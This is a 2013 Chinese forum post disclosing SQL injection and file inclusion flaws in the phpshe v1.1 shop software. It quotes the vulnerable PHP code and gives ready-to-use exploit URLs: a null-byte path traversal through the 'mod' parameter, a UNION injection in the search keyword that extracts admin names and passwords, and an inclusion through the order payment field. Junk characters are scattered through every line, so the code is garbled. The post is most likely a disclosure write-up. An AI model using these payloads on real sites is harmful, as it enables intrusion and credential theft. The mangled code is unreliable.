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标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]
作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
6 k/ h+ i! v2 P/ m+ K2 Y- N/* Phpshe v1.1 Vulnerability. j# o5 W+ S" V( g& ^0 s( k
/* ========================
& G4 T! t- `) J/* By: : Kn1f3
) H# K* W6 a, c, C  K7 N/* E-Mail : 681796@qq.com( j2 i" i8 {' q3 Q  n' f
/*******************************************************/
% F/ g' ?& r* m0×00 整体大概参数传输
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5 I% l$ l2 d( v0 ~7 h9 w# n' M//common.php
  k1 A0 s' [8 k' U" B6 n3 @if (get_magic_quotes_gpc()) {
  t7 x! G4 f9 F+ ^9 ~0 i7 U!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');9 S% T' F" O) c
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
+ O( d' X; u- e( C9 N}
/ K0 A" _; K) f( T, s" j+ telse {! X* ^! S" y4 j! n2 P- P
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');/ _, G$ D4 M; S) v9 J
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
$ A: L/ u9 n" q}5 K4 W6 i5 G, r' Y# E5 a
session_start();& E* {' f; h6 F% }) y
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
5 r: T: d; ?/ _6 m% u2 u8 t5 p  e!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');/ \$ ?/ P7 L" e) j# G( {: y/ G" l
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0×01 包含漏洞
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//首页文件
# P, R# e) f9 g1 D5 B- s<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
( V5 ?3 s* p. J2 f( Hinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞% {+ T( q9 x; A
pe_result();+ ]0 |4 P3 Z5 k  `2 b: i
?># }$ }& C. ?+ D0 J' p0 n2 q+ a
//common 文件 第15行开始# N% M' ?/ N( ]7 O( x
url路由配置
8 @* t! _- U8 K2 t1 e* q0 V$module = $mod = $act = 'index';
( P$ A6 I, T) @9 e( W9 K' }$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);) q/ l2 Z# [' }0 l1 }. B( d, ?* Y
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);6 y' U  g% _: Y, b" q7 Y
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);5 r. P) @- Y- Q9 S
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00+ A$ F+ O  {& K2 }

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0×02 搜索注入
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+ N5 u- n- W0 B( k<code id="code2">

//product.php文件
9 R& h7 E- F! N2 p' {& ccase 'list':
' [- X, Y8 U- w4 D2 l, X% Q8 q% U- E$category_id = intval($id);
' {+ r8 L2 ^' y9 f$info = $db->pe_select('category', array('category_id'=>$category_id));
/ z4 @4 V0 A) {; F//搜索: o. F" D5 ?; Z: I& A. g5 \% t
$sqlwhere = " and `product_state` = 1";
* F& U7 M" z6 @# rpe_lead('hook/category.hook.php');8 H2 Z1 Z; g5 t
if ($category_id) {( o2 R& ]) f; w- I4 f4 k9 R# P
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
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$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
" Z# f8 ]3 e/ C( c! |6 Wif ($_g_orderby) {5 k; Y1 X& i. n3 P% e
$orderby = explode('_', $_g_orderby);
4 I$ r$ e. J' A' ~9 G$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";7 U4 `4 w4 o+ g) Z
}$ R* w" V# F/ d% y( ?+ S4 o9 d
else {
9 A4 z$ C# y! d8 G3 G7 C  q1 s8 l$sqlwhere .= " order by `product_id` desc";
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$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));5 I. E9 e# _3 U$ K* f4 y
//热卖排行
# t" c* |6 O/ K5 _, }" v$product_hotlist = product_hotlist();
$ @5 K* E3 T4 A% v6 g//当前路径9 q9 R: }4 M% f7 m& `
$nowpath = category_path($category_id);* J/ s6 O, f4 j0 Z9 a" j
$seo = pe_seo($info['category_name']);
) S; e, ~9 }3 f, i% ?$ G9 |include(pe_tpl('product_list.html'));
$ Z2 c0 z3 `" o) f+ P7 z//跟进selectall函数库  u3 Y" ]! E* G
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())) Z1 i8 S9 F$ u4 t0 o
{! g) A' `0 V* w( N7 `) C
//处理条件语句
) Q2 C) C3 b/ Z, D1 M$sqlwhere = $this->_dowhere($where);
0 O2 C, j3 }; R0 @9 y/ ereturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
% W2 j1 g+ ?( ^! K' @- M}
4 h  F2 d+ ?+ n3 N/ Z//exp) r7 u, d* H+ a# N7 U
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
8 [; z2 @# S7 x8 z  _

</code>' P  @5 o# j' E& `5 Y1 N# \

$ |( K& M; C+ M$ q  B$ W) t$ |: G0×03 包含漏洞20 Y! S& D* i3 l

$ |, u4 N1 w8 A4 k9 H  S<code id="code3">

//order.php

case 'pay':


7 B, M  x: c: a' A2 V( p. Z$order_id = pe_dbhold($_g_id);

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$cache_payway = cache::get('payway');


. a' _" @. s7 G0 i" `: lforeach($cache_payway as $k => $v) {


( R' U  P7 p: h; T1 @$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);


& E$ ]$ \/ P" ], I, S) m/ L& @if ($k == 'bank') {

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$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


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$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

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!$order['order_id'] && pe_error('订单号错误...');

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if (isset($_p_pesubmit)) {


. |/ T; c7 `$ v& O- r- V, dif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

* J- o+ H7 ]. r& S/ ~* j. f
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


. j" l- G! |' Y  S  ?; M0 ^foreach ($info_list as $v) {


) }# ]/ J3 f' N0 s* p- }$order['order_name'] .= "{$v['product_name']};";% ?  ?/ O9 X1 p) [; ]( y( `

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}

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echo '正在为您连接支付网站，请稍后...';


- t1 R3 M3 k3 J7 N0 linclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

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}//当一切准备好的时候就可以进行"鸡肋包含了"

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else {


2 t  T3 p! W) |2 P; a& l7 a; B9 spe_error('支付错误...');


  X$ X9 M$ K! }! F5 [4 z% B}


, ]" d% K1 f* n7 _}


; F" e% N( e; k, f; }! d& b$seo = pe_seo('选择支付方式');


! L5 s$ b$ H4 K8 U6 Yinclude(pe_tpl('order_pay.html'));

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break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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